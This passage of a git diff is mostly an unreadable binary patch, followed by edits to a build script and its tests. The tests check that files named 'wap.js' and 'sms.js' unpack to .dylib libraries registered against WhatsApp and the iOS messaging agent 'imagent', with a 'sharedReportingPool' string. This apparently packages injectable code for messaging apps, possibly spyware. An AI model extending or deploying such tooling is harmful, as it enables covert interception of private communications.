zZn=gleN12QPF{@v)${eFu!EG+W8b=N5|forg*FNr6lGyP`I=>6s3FmQZ5t6vg4Em58XjbXSgC30p5w(}0ftzszE7(#2`b4GDTb^*3&KBR#6O2&T_9RF=1o_zNr223O@!#vBg!kXaEwSNM;0c!R1$-UCK2Fc8Y>X}44 zF5$H)nCCwX!?@_EcDQtFZjq3K)VE-Y(;HGagiXSw1(-VPfm-_r;F+`hKs9}~(Kxd( zMkw-)9dVy+$4T6I6rZtKn>H64-#?EqD@k%DIoxCoN`>;x-Zer@Z=MT{VWpV`=L`}+ zy}Z-rhPI=uN~XyHgr15-8R*{;_`A2&as%pA0@&y8Q-w2ssG6AquK+#cGJYjZ+kcj; z?d{g@6shN);Ig_W&Qx;)my|PcYyIMvtM&Dld+@bv%tqtw8U=kGEYwi;qi=e6uds#@ zsPo&aEK?FIZmr~r0~FGJMF;90Q9vbN|CzU|Ao^|d~gH2nAOAe^EFm8)*mWR)hA{J$fU zb~6TP)2Ab^JR#qonVz&;SFq$g{VXW%;iG#S#t$G?AXyKcFfV0mDs~(MDaHs5Xkk+cgk+XRJAL{aR)<>z&|gL6-2Ezw%<#ZRrfz@Zu4=NvvJgn~Z2mSQ3;>pE+e zOuKX*%sC1qt)Lcl7cJgpF_1s~tpiS!(ad-bEhe*AzVAKG+C{5otv%fd;rtAC6T!O8gQ{MH0g;OM?zF>RLWi+i2q$Sv&3R^=+3Ey#Zdu$l@iNqNvGN-6FEHm|rhNsNP`DgEi z2JO-XQzCo$7qT-MAc`6)emu}`UsJ5)69XFskdr&7Awc1bC>jZoam$^<#J6I5rpNu< z&6R@4vOjQcV;EphBAc{2^%(>HB$?~$XL*P?^2p_~D;5Zq)vE`V6`PAJZ)TLTB5TYP zKQ$+aGHH%$=#JUJqAh3+#v^Kg@XE|&K{5J=5s-5$ck2f~j6$YUqb_~it)UdAcRmy* zx6p=ZRjJ4YpuFC&{NMFHaIc}+YUm;#hiO193!+5u zJCvG*MhXF-yycjRnQUNgj$#6j5L>1JCT+*^U_6gIWk7|$`r#{^2JFLJw^}wCdq~A@KiUVMJ4*fVE(A6sPE-e&usKS zmh7BUW&+i>oQcp6+sn6ca955pn2Wa}TtSoC>Q{t=tAQ_5D5)B^tQO`;L5uCW-SAmv zfa~Q(AI9lFA-%>R@n=SQHhL%0^=MPZ`<{BNUFKo>-hHBf6D)BB;N|w%CD8S07Ale3n;tF%GWSMm+ z^m#phA;5s9Rfta2j-0$jKV1V}@7h3cOX*=~@~}hthWQ#on1+ZGa*Zlbr}*|mcxOux zcfKP4M~>zTCz=0GmU_uw-i;i$Ysr7)2AVu;*0Xm!7*De46WQ9!Q0rzfGzW9R=2 zsOG*oB?6xjrTz5CD_^&7hen>lLHQF5h4GW))~h991j{{QYy0=T%a zW*;bKKduGLd5}jMCimTX3s^kQJYVgWI;IMziauXo^AAe-Dqm2A({~eE3q$JI>MR7- z{Z-?`zbkLjbXz9pP7u-U=6gS=na}tNuRW%FvQP@S1=Hb6k4$zpZQ_arG>a7P7jHCt zjMVD!A)}JOEWHg#=P@I7X*~dh*=|kub|9A|f2QSlqcP#`FLScL@A11a=X=KbXYUq` zK-dMI_2c*SGpHdRUr}36d}Y{;SegE6PMNf*Q|>l7 zafT&TG4w{a?nl&nNQu)56?Z)!1D+kw8tA@um9|`K)LoKXyl2I>JI8hT*sAV97i?E} zl(~RyNTDXGWmqz=y3d%DW?>rpe1k8KBXZRDa>n2zZIuHZZAK~wv8sNRYhk^Ts+mF1 zh#&yBoXEpAF<`QywWPu9_T<(ppjZ~IWTP$%*f>vM9 z)J(GK5Q?oYLt_V8h*bH8?Lt9aIX>F(Z&2@BPkm`qi{pBJ3<;kb6-4U{j7hj~b@YCh zmE9d3Rqul|eahFE!5^0YQ$V>q@mgiIq2x=#wp&s3MANGOLmL?m?hAyRt#;A)utk z6gb;6tZpsgORV>CoV4brsr8{%YV&o_I2mj9vxo@NlG@&Gjk!KJr0NZ{cj0;_&r^6H zIszo(r@Ut@$LBaJ{+M-7IcX#>@Zkg9#tyhQJh#K6Vj-vQ9-jovn{QI*Ltt2bEbtOv zj^yj;0s4j3jkB{7X`7lV&GLpGiGtVg|K9F<)fXxfz6h3bV0gV0*C1jJuV%#Po9NHH+^#0JQ(z961r?=-#N$imQ>@U(N@o8%NhQ8d=g@)Y1O^~c;&ckDTqWH^)Gu#tZ?j; z4P5J0gk2WZ;!+RS&P7+O?NVyG!hDtcB}$im>(3}gUm*b(t|{NUM7t@0pas(lY^ibU z9Q$;Ee-%iCyGU|v=XeWOjAllF91fYwLK6i zd0=a)Ee?`o@Jjm1Nv>U#G=Y`EI&NV&O~V3q+h$uls?E;&HUX-SdGNoT@acjBAF8Bf z)ruYT4vI*khcHn`{HWN}t9u!m%ofsZ# zrX9nIFpbXyMl!perqC{{LL8tbNf&X2Eeg1J8A9ESD_D$!!@XP!xBuas20E=~fZk;j z-fJT22Q%cdH!He&`UP;7)O<~d3zmAJqmT}V90@@G7 zZ7Z^G23Q^Nxm~+mSg%$o=Rtm(=ntuwkJ8}@Y^6!vGt{&RgV7c~DQgw?ck)a78c7G0 zN#6cwu~-esNJS?c*AH1aKzsUwoEyOAAOkpq>fS-}{p>Th9g$W*Q8sWS1Dx&-4Q>s? z;$#LI4Y|)4)IFb&pCrAYBph?;eRtgx?6CPwCPZU5Od|nV$Zub1>H}hV#-F5sCy#`> zF~+f=O7X^mPuRDVz{E%T8T^no3VPf7eXf&8{7ax1;TzhmR3G92*;!-OnTI_Y#&00vN& zu3GeqwrC5w(2(Umj&(Z5JSu2|a?Ur9b`{L09Xm*TCghTVdz&FB*Y>K@1;gMmZ|HHy z7I{^ZwwgW%-PUH|D(GZa*DesQ(QJg$|5df+Hv0Q6->qjNjH|yuI&EzSMcQ=sa+J${ z_>gAV&6ZNbM|y)^BrwHlD}Rc)zjA9XaRrQnLtokv7wCXLPBE~2YA}b zQ=LDn9FDw7LBZ#OURekKXK`+oxr92UrK zEwbND>GC1VO<>8Zaze&w=d?RU0lNb=4YZimI~R-LCOec?77$Pp*uE?8zXqcCDC&EM z7}*RRoiMr)O*QUbUwt#UB3c9CWn+`YK>J%H>sT=#-lV`=&&5=#TGLNTVM_!+6D#3p zMxgUB-weOKv|_{=Ah=B>5zZs`BHZO)V)i=j)U4l%W>5Kw`SMMbnZ`}qN;yLF;8VN( zmL=;Z&t)wMFfL?zEV9js`t`c2_aqpXW?-_38*o5H{PT>fQV(KfRZf1+0g(Lc0qx1g z4yjDia&vmZ;I*tkT(9l7H5DpSJ1;_+jhB^9^$DZNE!NJxY4`hF&Ej@>B_H8IS$ahi z9f#A25I{R$*{}WA$0;FX39D6%%oKm2Pa(zt^JViD(MRtQ=|!#pk2daxNk>E$oP-T% zii)OXf0k5#|9ZD3kbzuV^DY?>H6~-{DEih2k_#W%`E~Ks%y%>Vjz&q>RXs(sd;$A? zFRZ8OsR=5>s(d<;L048Hx!t9*WY4f{gGdZ$x$w=meZMiz3J%i=)@em{Bmz?6)rUss zPgt0f^j6 z;XnWoR|9K}jRmBPl!J4D7vn^e2-A;#%HFWcd~>!pkQY|OW0%>gj^2t-Om>B8!(mM{ z*RGdqVgvBBl)_7biF-9_{!5zMrh`0H0kGnWgtq9z2)Ut z$;K^sd`h*ls(WTQ+IH^yc}2X+Ymuj>~h~Z#Xh1 zJTeMjD_!v}w5DF$k3lck3RX2j2IGnfnZusO^-?W5jsq%#P9MA;rAn`a!0YdF!iCW~ z{_$AMpe`Q!^G2e7j!dCY0A*m$s0Tu=1I1lz%qyAtEX^@QIUZ)#4k5m$hb2Kf7Z4fg zn`8qAYsbTEvre}~xR!D$Z{r`|KOp7cnH1Dl51OH$M6^1g*#{WI)Xt;{oWsh;uNm=p zOc~kA&~Qg!>(`9;Sa5~hkENJ5qQi*ESrc05F5Rm~k!eTHx3RFa5ySIdK)|cj&=600 zDdFO^w)PQZsrDCL!{>V<*2{gi5(>d$-mcm&>KpSWv&6SJv|2hq0x*M}aRA6P*>`{! z(U`{%Kvs~;5X7C1MWp%yEg@*b_NiFJ+%`4{1grRdpJYa}H`g(Ila}X4zx1)cBvqEK z2A)Z>akfIaB#cfiI|L*>EpGVAR0acT{PZw=JbLWfXA;vQf?luDNA&}}H-e@vk=^+E z%j0COKVnQR8p(_4-Ht5KdY4|prlYN}O24dzCT0Ru@uOs1z~o@ShHy2IchZ}8T%#Zb z@t_@c`~Ws&hj(Y^p!iw5T)pTjy27<*SG4J#qaN8idCZiS6$Jm_4k(@*KO)HNA#V<1 z=u4Yl7r%B`Mq83wdmg;f3LfLKrDCA0#f951X5;W_jRie3Kv|mgNxSH8NpVZKsVngQ zQsL17v07A0FpjW_p;9LsTsnt_)#SC;x(SyK-wdru1cfY&+DU-A5(nRFvreHwDYZd< zwX=%3ZxCqLqZ~S;)2OCH^5IAlF7E)s;r3>)talB8<~FQg+DkV*7|UEn16fk*qC@V% zzu%ZerQ@8_7p)sMWv68;uWD@OEjIRP;ct<~+f{Pns8nGyIv?|2?!_SC6WKmt$$q)6 zV)#^nSSLIChdUwGbNR^>PR6hE4*a^);6uXqxLiND-26E7B~#rgx~iNRgFB()D2`nWX# zjpqBFyqW?Ml}@Qwh{?}|WEKQrRQ>IHCUQ~p#L=KtY3_uGiU0Ks@rpL60{m>!{uzOz zhWA>q%fJ~f?8+q%Yly%HWfK29hYBv#5fJ0xL(GJhfla}Q0{k*f$5i6-ifWsSJ30NK zKPG4}bpT)ab!M1u-mMZ3OTUQe0Jxlv=}k$ANfmQ`>8b^~`fUGlldb%J6||a}!hxROONC3Wo#^zxTF7T|kT-%-bFpcHL^Jc%i&I9hT( z04VvGE0TXF+)KuUjo%}X&~oD^6EoaFl_vKbbYr97S5zyDS(kcBnU_IbLAsys@$b&s zrM+qqr-u(avKCaZ+S9MO*$(%tDql(R7KGJ|!o!Y2C|HyBEvXMw@uz3 z&Ud@yX$ur{O-tYalJUXVdwWvv%6aO{gEx>Z@i9#}Iv-Pv8G-wtEIJh5($o@|8?LF3 ztfd^w^XIPLv~C?6X4%qJ`ny@2QAQ@3c?e2#hn#F_7Y!wKYU}b1m)| z;(z3VD#z|Fp?#s2O&jC5*te!rMB>mx{ky84>WlMMz}A59rB-V35zWsJc6Wx|;%B!A zBvaPYZU>Miwfg5YN97~3-A?3_rQD#%1v))3Q;MLu`RcMuilzkJ?VE}A`#6mUiT*g; zwjrUy0tW&-lTEd4)eHfnH5D;y1t1hBc3Uj#2%z9moXZ_!`PWM++(*^YGeFeDN9fek zbx=S*4ZlTaWwEKqR#Tg`Cht~pIlnCc2V#aU`L%RB%!8@5QATi%|94QGrjUchfZnQ`1Vb!adwzPwa zi$E|aB|`PHiyIuCGh!=o6_ibYx%NCKKoC9zcv6AH)c2o&&yQ>~JJpNCUk|U>EraP@ z4JUykZT{gX|1AR*S0Qv3V$pvMovS)AFKXqJtVcxsr&(uS8BIcbePGXuNN`jkE43zQ zCAaZ4(#<-0I>r)v&>V!wONojtBgwfR9h5EswWf%zCU@Wn~SsdW9nzP@XU@4JqlTAb{!Q! zKsOd|F+;dq#g(nM)g($q3pvMI5tt+fJa}d^FA}@HmwL;|*kdS)MDe&`4`Gx#+O#p$ z%O+XgL_VI3R>QM(UfX7K6mzYImdrg%tW{D4Qy-;_Frc|fOlk`dbEI6rvz|OI$I>Vh zw_;Y5oI*ngDWhVNTQH&nBi86o}h4V-xT_a7V*?aLZnQr)|bEqiRc~AQ?onYybrfoh%UEI%M-`eL&_lN)#~r|y4&sI zU+#TS246U~JkjuO4x%_drM9iIT@BNX#u*niC+4VCksCl78J2d(7~?qE51O@uz;-le z3{oMi3J|F! z9OKdD@Y36drK_;HXIpk2c61I|Q|nH>v%bDYK*kcu82fi^_~u05o5=qsBS36S1`MbY z2dv#@Hx|~^Anl%*GsY%>6KRbg`dr^ENldCR5c~%3&-Teic1El_@r?@gl?3*BW^RrmlPlTjF;WE#pDmZ1YEVkE3hAPi*azfElUNvqByjJ zNS*79VIfZOvSIm$aFJWN_-LC99tCuYAFq<-FDx2b`jG0dC&gq3Ab5CK6f%|jp~OT0 zp-!lzF>5NVE43{A{p=S=Wu~Lux5T$9+m=UiY3N1)OH9<66pY7)7r9WX-p0*hZqck$|oup4ca(dm|~@ zc-bxZy)};otdU98yi7{{6dHdwis4sfru5)b^vUgOSJhzl3F%_`RT~&xMt9!dBb=Vcm8UDO%T7fCC&J=e zX=dH9r;c#>PqF>gi??#e;(jL0z6yP%j3)73-pi|mZOh2;h?e(&RfR)Eqv9IOR(giI zk-f@WM?+GBq-hvYm*_Kn&}&gM@1F+{fwN5OtAVCw?dLJvud**9SjQh^Cq-Bybp9>n zV1RTV4}0=rM&{;eKBu85L~^7<0V*pI>YD%;?i8+UuKS52gmMC}!g0PGv<`Da<)StkGbIUCYG}JJu*8&8JMb@{o9dv z3+3e}vhEc&mCPUVngTYWFd`kzhI9j7#nidjv9Zo?3d2c~k3~oPf`x$DsaFs4fg-CG zB3#DgMRQhboa|8AE!9W}l7Q|uTHd^C2;rRD%+;4#Hw#(@_b@ygA-v+L2>rJfLx5nO zc*x$r*yr#lg5j8+DL?}Lan(!)3Xhxjr+sdTTUGf@Epj*=ETL+z^9eRwYj=K~yOFy_ zI8!Z~aWYM;9fM?T2s;1ZaT)LzcZ`K`5j<+;LKFn2`j@ULxWwVAQwJ!&+ddxwsN|zcuteX?qT1 z9e-4x%G~eBs(!6Q1MiI`=V^5A=}5)v9Y}QkE~O^R*f9<>K-$C``bjgk`3zBQk^3l%Q@dN5U!2c+Ov3=$HEOK+ zAowV$2NFlA8vN?+2usC~-YU1cRsgZJA-hfx+AM}r)iUZc+i@dba~dzDUZ_317slt3 zY;SMsHrY6s!Rf)yf zhL74^MGAo)@8~B2Fo2fFL-1VfRzeLlo}K|VW?`AbFJJw$wq9-q2e`z{3AmvrqL4-D zBI~3PbfB3s=gngxC|p^1!Zf&QUujn2bmkdNwJijw&n7nz_}f@U&O<>GKBiPiNhl1z zC-JE%V%q{U<$DJHE>89zWZ=0Afy=gt_J_)KV(uKxI4*^mFrR*H7j>1241~d-C9RH1 z#49*Y&euQ<`N)dPUtCEH`GdeeClX4D{BXGt9o*bA4}D^pFPh$Tdj-}v^d{@Qh>>(r z2;4%)c_E8#nB-vEyT4A6!m|jbks-a~I0#gk!QV7|eN9up$bQX=%@2;FB8mu;rjoAZ zdkeXRi}lLJc2c>VayP(0N+bw5D3EfiFzGzzUI zm6MlCTHng)Q=a@E!8Fm{bIrU>zz!%P#Fx8|@&3j*Z(@#W6n??o1VdQ4Jzi|I{m$p0 z9!(alUfmSgs)l9PB*}*cl9_!*xF={s0<|I(3Lac94-OeQi80S}B1gkX7I@krQ#34* z%qBatKz7|!A>HT;9aSxdBKLq~cNi9#MhF@sPee2I`V!(NK`cz93ce_?Yk&>~=Dz+S z8SE`W!9&Fct!7yg`a{s#@gG-g>n4hL1U;0$}*M=8b0o`ded*;jG4UO1krcr)ba$Jppfu|9?*cNvU) zMt}bA6@CM>*;2Ip3JJhOc=T>TFsuB~eE4j|X=3r|6=gVGaospi!rf3HEn4aUJN#LJ zboM&@Wa3jih&h8g^T*_wT$M?}840d?{mCMO4P_gwqyUQt2kQ%{b9!J6K%MVn64TB4 zlLEcXrP2-BUv|_5qN{EV#*P;TawvgkIhsF*ekbVcjPUsB7vq==U3XlRv$+TtlwOpS6K@bw&GA$J?la|Q#swsbQzpf{4;1C{&qf?3bbgn z+t+&mqeid}Q=bn^zeVG{mf1 zJxW>OVP6trUgN97nk|gXOWU&I-7kwHAJjQGmVJAtbCbwyI|K&A&;eNZOON-QN`?IJ^LwwWUSpoZ3baDfcNgc63W+92ZXKgYUb-D77A>acZ?b zT@|6RNC@7YAiH5WNQc*uLpR2u8-+++lHys8`c{izWfpX{ID)=;C-?8g^=nkA)m*Ny z{P&z)Gv3R^QNz`|OF|7jViT8NMGx;zhBjRbm#FX%WzvP{%C+tC zFGapb7~iAqs?tCY4hQ}Hm>~t^c5(rl5u+JidXtc#A zwXGILxtvNrktTGH$rPlWtP-|Ys43_teYx|4?n?HOaV8x(x*RuMR&poR2k|kxhw;n# zNUvkXHj6M740%0vL=ZI)zf~cs_r_r?I|56F8foT~G?!o!L_N#^jEh}l*FvuRP>?WI z`ZW5`9UV^|e-qUp(Y;n9V}z8jd7{yp?r6XVBUeQ%sJ@t^vQLF&ADM=x=h1Htf+i4^ zq`gt<&^u^3Z?{K%B^J3&czS!saM29WKK(ADxkB%0Dw_~h>??m7qQZ(uV$cwC`4unr z{9iyo6<#Ljpu{i2+1x7RZjDS7PZ%cAIai3+=Dmhn#tX%++WYQ0YyBh+lEM|Z%{8cy zc%X*`7LYeG0j7}eLF;<2iO}4XKO%G_!9fyX2-rD)8@_;r524A?f8wNRT7FsRF?py= zAp3vb$6G=RJT5M-E-biMO2sCYNkzIe&8#c>Prt$*)30+obEz|rb%zM)i3BW{_q-Up z1VpgraVuwR^^gNI4cH=gkh&JGKf;>zNa<={ZT^_h<#u-yR+~N5{Obkw%}8z)Wt9oO z=dpcRkBm|#u~nI{+i6p@yYaXn0h(FQ ziMb5q6q94v&$yi(heJYTCU$o2tE$h+y0ORNoM!H)SYb}tGZ&`JBlbDU*Mm0DYy={e z`Z98VSdxyX~N81pxZasLfhzlKQh^ zn!j{-s{cCW%QZdwrLvLO_)eyYf|6T1N_knhixO_Md)VWekU&KIbI{jScTx;OR8%0n zn+L{V{Fw06H*{0BG(Az3kC7)WPi?J+1GcUUy3hRPLNbtQ(+5dYgen&qUs?3Qt%;NR z{#TFHjVH2tpBq{vmkE~0DknRAuMV)+$JBoHCf`6f|MD#ha zm)tdDRy|_4T+J}-g7Y>;>3ZCw1BW&~W z*xd>ok4kkZrk)Y=xw>X%@AcKqAJP`5D^aM1R*5eN9W40=(x1F90apQ4W8pJ(-m;r{ zsV7=w@V)tNx;QbilbNY`1tki5&}u_zgYJjMpK>P;hssLlTe~2(5d}q=tu${{cEdo7 z90nqicKzj%l+H|8U{!FxqSwaC_>vT~uk=YAFp~jUDg#A$=QZuXL;6Ko?L9^p2d+Sv zxC+=c82%d!4VgTVUU*53GqRev9n651%{LxlXynwZT8p61jR}c8IOq(@nxx+qPXnw_ zVn*c%Gb*k42#1*#iN(^@yBrp{+Z2pdpYzCR%fkzh8U;Q_fN5p~URpWoo)$nfC(>)2 zv35A4D(+oU*WXp&CzMxs^fDhuU)%}Ov)c(zAYM6Y7jGK-RwjJTSVyx^EIX;%b>=C2 z(X!i^WFhB5&A|b$W9709HjqBVHaF(ItZ*%Qm z8Cgq-xY-(?ZGeeRGfu(!(6uK>b$jAb#S5oFS=ZU!@L9U%0Ot1fRlq(sbN2XfNb$tt zi$PCnSi29(nZ6JCq|s+d>G>>w>y4HtiO?f4R&y5I=j(YwnQ6hPcTMNu%RO#v+1SH2 z@l2wiiU3{W@f0r9WTO2RcT5*{?Wv98MLGB^!I-oG(W|t6XrjCwzTQRld(WxG4IORj zX$4(8qANj3D=|r-w0Q%Hyr?IGC|1SK?KknkCJf^GEUHY4-?j6U`4;E+Lbwwtt*GFj z+ADTYHCa6vyr^B;ToVXd8j}Tvg+=`b^{!9DqwL*5WiI;&J;KhKNH}|nx;bBb#>yuOXW8AKP0^Zfc%zC-rE<@Td=a)5c6eOo&yL2!=#O{GW9UKfO0RbXJtD&~ z=3aTfr-VVatSvXxp`nO_w*=;B(w@-Ja1FL)S1R}+(S~L{LUdz+YVP`lvK|fxGgYN3 zz2K4HK*(ikOVxiY+n-C`aJxm#us{FykJDMvR*VlO~(~qS2fN z6B#H+d9$2de?OHLnvjdFE*q0|g>6R@urmR^%hrROI>st!6RuGo`=i;cy&ARN z0_l&wS2u|b8R*VE48BbyAJq(5pNB?KvkZ`0>?*0%KMnz_$L)eCO8V)WUf9!~8PBm4^sU)avJ3mY~5&B?fU1-&5VZ8&_5#I$+Q@|i}8Qlj>{*@KA zLwKq3>GeHUk}Pw3bgj_?gm>HIjuH@})Bo%8t+}>7wm?%W@C^u$sTF7MC7C3E!ijbn z@Y;w5kEc2ETz^-N9&C=*L4{||rS2lJ$fh7YTgR;AmM98>urvvHM~dJG$@C4Z_Z-^_%mC8UNfjWU}6~rnn+e1Mvk?`B;yFQn{?wuFfLi1)5sav zek>F9YZksZzTS}T$!&!ST6>!78ZL03N1VhoX}-hW#nU???FTRe@A6B3f-8jBp^3pYhK zliNLYNVG6C6p&h_+f$4iEPxqg;L#d11y5VMF`PGmTA-2&w;vW6AW^_X> z6V#EwY_=tNp?P~R>E6Z^A>UJKZXJ462BVK8u18Q{f)CNllTBI5lr zV94GG`H(Za8M-uUwJkdLxx#f9kNUpv}o=Cn9>RddRKj zS=}q?B1Y!44oen@5|JJs?%L8PT-vX-78@NbBzV1(y%R&FnS4-ihOQ3Q5pMI4+Lk^# zI}P|f)R{ZU=zs9yo|DcEsc%>LGuC8M*A+W4C(H(ICTcHuQpi051AuBT_#LT;#RBF= zcl?Bc3|uo3Hg>A}w0D}UJ@ga%8*gBCvHffohbjTiFimr{;?I_Nzvut;KH(_>Z0ysW ziV|*!tu3elmQ87U=$~{p@q@I&K!BI~j~hH8J;`dJi&v4sjLcm1vr>mnTOnC0hH^Jd zMZwo)w^sVg!ef^KXz#Oiq57{I+lk~V1`ZFQbN+*EUYP6MV;%vEQ& z_cr&iGCP_73Gl7{<1^VBH5im!fV;_`gD^_;sX;wLwG}C^J+STAWd(36BzAW_yU3R5)kv=!E z1go+sz9W__(HI4gtK)jCE?6pNB7L(Y9Rj@6-!9xL$~(71okQ0mRN7GYTM2ivqO`gY zwUZA6fik49ZpUV~7NP&!1OD^QVw?+wUHJwkzp9pMJ$#BLJHRfu2chsu84>xXJ#8Dz zxt1)DBJoMyaQ%)&I@nUGH2^z#`<#i0Cl#?D29BQX4LaA62z@$!?XOkq&-m3zbnO{< zhG$gp5P+o~T7u;Y-=|h}DQM1nzcsyq{YX1Pk8P81Kg9I|NF!ehUSUcr8^4uw&pbUq z3^mO-wm79g;7o;Px(7$+sE`^` zK74;;hz=hQm}pOdJ61@rK0pdIrn0P?)EkP-!U_S5M~j%*CmW+32H zq9)BaFhgErf;vC^e+iW22FU8z0&11$L-PJLAQ?gUJ@|VGhKp}d^h`b_w5}m!cQkOU z|C-5M9~6Ng@Ei^8QkJzd}Zx?W?y)(pb)bx@s`S+3Vpc^nYkM zY^f&ET`K>4gI>G?vIYF+_}&^%K#{W`_mQ+>c265g#EF&T(pMTZ9q-#mt>;J`Fa|4) z{$8-nteM!f#EbY>s);Yr{36_*owbj90?afrj|nQ> zo*&>X&Cg@21g!;Nv>26E=YQ6<_Wo@~cpbt=Z5caHKLczRp83Loicr26K?O9NOx4Pu z`-rPufsV$|98KWbflTmhPQmSX{Ul{->060Tf;sViecR*VuVg902xZ|wyDOed;)I_B zj*VdR&h0EjA(x0FDS1IZGVWf(ket^4idVo#55q`#JOr4+6=mR@?bGAR@Mv)scZW}Y zM=4rVSJ>3XVCX(EON+IA4$v4)+&54T>qK<5>)sr&0J7^(Nf`O?f`%{Yhx@hIXa7~ctR)C@^2a$}-9j)Zw?3kr z?@dgo37g*zD8Ua@rIZb@Z9*ftFbHlJItrM9j!{;h1LDl%ch^W0jel!KpL7~$7bI-I3Nwt!2;aFJ{ zUVnoFK=p)CTb4ZRqY;G$M8H0Xs`N(W*S$-up@Q_X4KHj7DunAlFiClLJqtf51j~Oc zzUFO2ZKtfA`l*T+-Ll9p-2nD7Dk+5g5Gq|`F`kj!%7UMjD*CL2p#msPJ3p zV3P9pee79=e#W*~d;#X{(_5y<1spq7T*wPVxJ2cI+IsFn6?+*95mhdkE50y!N1l*%gHx&$$8~gkPWw;&= zfz7Chq!YXYnh~f$MK7PDT7N|l%Lz(I6r1fV8g|QYcqQNxWE;3r--PxfAFV49Gw%-H z(GjE!rVz!fBze8Wr_FqCRfxhzxlJ)s1Nk)Y@<_lJ#gebsTeA@j{SFZd4~_vrVrleA zsS8P|S${QsZa0ssxPP54Wpwk7fz$dEvpiuB!b|=M3GP#spLI=GebC|F+w0Vn3YWrM zTL2BIa(id`Jb~XR0?^1l&^%6?D9T5@dWNv|#(HrXrWg0nWI1{MCriI_yzR{l_7Mv_+k_S?!`NI@ zF@LgJZ|q9>!|o}ctJlBui-ucb6q&=)Dvkf{%wH9;RD3P_&(TojR))p#xamYWqAmjR zL7|nMq0h$lNB3UH)U8OrmgmbA6DLClVOWa5Yx|n&L&!Wj3=FXSu(~p_G zWlU&)lrJ))hYCh+LuDX@WyF@fy4Q|9Zm*>3TBR)V6lEoRSu_Ac)cQ=Y00e4X^f|14 z!?rb6?VkQ1hj)kmTIute!_vKV=v11Yj*@`4gl0H|r9xb{iQ6~ZSOm}2PZbK}LvYZ+@w7{xZmyb=--AR^OSGRQWLPIm08m6A&9O>0~LVTYNwN#^H<=B&^WgP4lH{ z!Gna&Sr4#SzNFGG(MP@YXhq+Y=gAqv`*;>*GjY8j%=s^?{>rz$P^Y({8bd*|c#lz> z-n|>&2s1HEkTGv8n|JMShN^T`f0EG-q4+U&h-3!cUMy%1rK-4o+$eyN`@>s?jvdVd z`>O3I5h7z`p&HJXDmTc#{DO?XG6fVSe}+0$@OJ0Alq3xNZKlfkO(hMhe@J|Ggr_+x zO7T24xT~D=NB^#~P)ySl#bxS<#dP(TcwkC?{G&|>cJOM?``e=L z8#oiNOCn_wSO2vDCJf-B2$hY$@^(ampi`Ojbz@CjVGL~x3YjgREtIQb3iS<`zDO)d z2`Wy}#T^!8{c}YsrY<}u%muu`#AhI(vrpCxM`p+pel>xm$XB#SN~{TTlm&!HpvkY# z5z(?x;Wa^&a_ECJN3=@niPWLHD$yPq&m6h9+6rlgda4DHi zM9&7^CyN>h!lzjV>)EtCly5(Od+r;WAb~O|Vp*dU2_7_hW@hM>Eq4=Kn53Y})ZW<( z5y{zJfR^;#rX+g3Mb#=jQ{r|{cwWca`HY%N=+;vJ<}g3QR-uNY@?*> z7fR;=20sZ*>F{IOj8xlkl4SQV4x^f(PkDgn$5(h-&ZgU76@ioXl$xRt}h18G@K>AfA{_ zFHG6{NM`HUF9!c9Wur;eh>Cv|s-`dao0-2B1!w^D!TWI4e5*?BgQS3m-okj?)t`l+ z=d4R$*9#s1@tuwgbU0%8sem)y+A%G7&2Lnl59A1Snt=f)xb~!JceuDMYgcjR7H@qr z)_#bf2cbTTCQlt$_W%WdaW~|XYbpv&9-XlMsECWu z&ieAs)8rJR(c|D#T(n3%2Qrvd-Ws%f@-&Xq#ITYLelz+~M{g(##L?`SI>r>2MMypj zP6SeK7;yEEq5yTp)o*tKE^oejan@r9sy2S1p_igG|MQ5K&;_aIl;r&PH@QGMuu%#| z?!r?|6BR(YO-r;^|C^jxgz_UCn=H6=T8oDvo#3l3;7c#lqOU$~o;2tR)bd4b!l7eczdR zE!uqEhpc|?s=@Oah^>e{MCIAXm`6FFv(njRp`*#Mawt>XCu{+G*>6B?{hhZctEt>< z99H{#vwTb+!AQvnFwJ_!D<#~7*dgBn1)&lLz8g3({V@^LG>FLTA=l2k!=b&b*q73m zZ3X13mr^Gz!J~di8KT@eJ=18wSGNeqS;^7jg-Y1qh-sv?cFIg%lkhOzxE9?P=5}{<;FaTHIWxBY`X2UK?wn_I0e+2e2_1{S=#D)71x4BV> zZGUWY+&gaY~=o9c~A@fWGtk%&=a9VZDW8t&uN zK0&7qXL=+?pZ$$%Osq$>3P5NRtUUNjSwa&J!;|F~ZwzP8Kq^uzsaV>Zo7wTkoGa&q)K9hodoXs+3)XkAnA=iK3jtrSpSlx>swJq_ZtLj?O2dd@p6|pkxv1zpNaGc!^W*jP7Qi9oEAF)A{X)u08}u2!Y~r6 zVL06spBy&`VWqM;m4(c5)L6SubKdA(s13=ylt8d0SoD#oaIq%%vzOu4>^3B+(?wf! zc%tOv;rmd%%MV$Gke)ufJLF$;m>Lws>Ye{zO5q74L%+(F-KP>Oq+`6uV?fU9v-pP65JyG7(X*jkIr*NkHQZU5pRP)8OEF;> zyFu{Y%TPfR7&!*>0DNG+6c+}-@V@~GfNNl2=VoMJRAKwb&L|YjFX&ZvTXJpAzmL^@ UT=%Ek66dMnVqCK?&xe5l0B*E_H~;_u literal 0 HcmV?d00001 diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py index 0c37428..89cc055 100644 --- a/channel-builder-new/tools/build.py +++ b/channel-builder-new/tools/build.py @@ -92,6 +92,7 @@ RESERVED_CHANNEL_NAMES = frozenset( "nb", "a", "u", + "m", "uj", "us", "ub", diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 8331f09..8da4d59 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -129,6 +129,19 @@ class XxbbBuildTest(unittest.TestCase): show = json.loads(show_plain.decode("utf-8")) self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core)) self.assertEqual(show["core"]["size"], len(core)) + by_bundle = {e["bundleId"]: e for e in show["entries"]} + self.assertIn("net.whatsapp.WhatsApp", by_bundle) + self.assertIn("imagent", by_bundle) + self.assertTrue((details / "wap.js").is_file()) + self.assertTrue((details / "sms.js").is_file()) + for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")): + member, plain = extract_member((details / name).read_bytes()) + self.assertTrue(member.endswith(".dylib"), member) + self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name) + self.assertEqual(by_bundle[bundle]["size"], len(plain), name) + self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain) + self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain) + self.assertIn(b"sharedReportingPool", 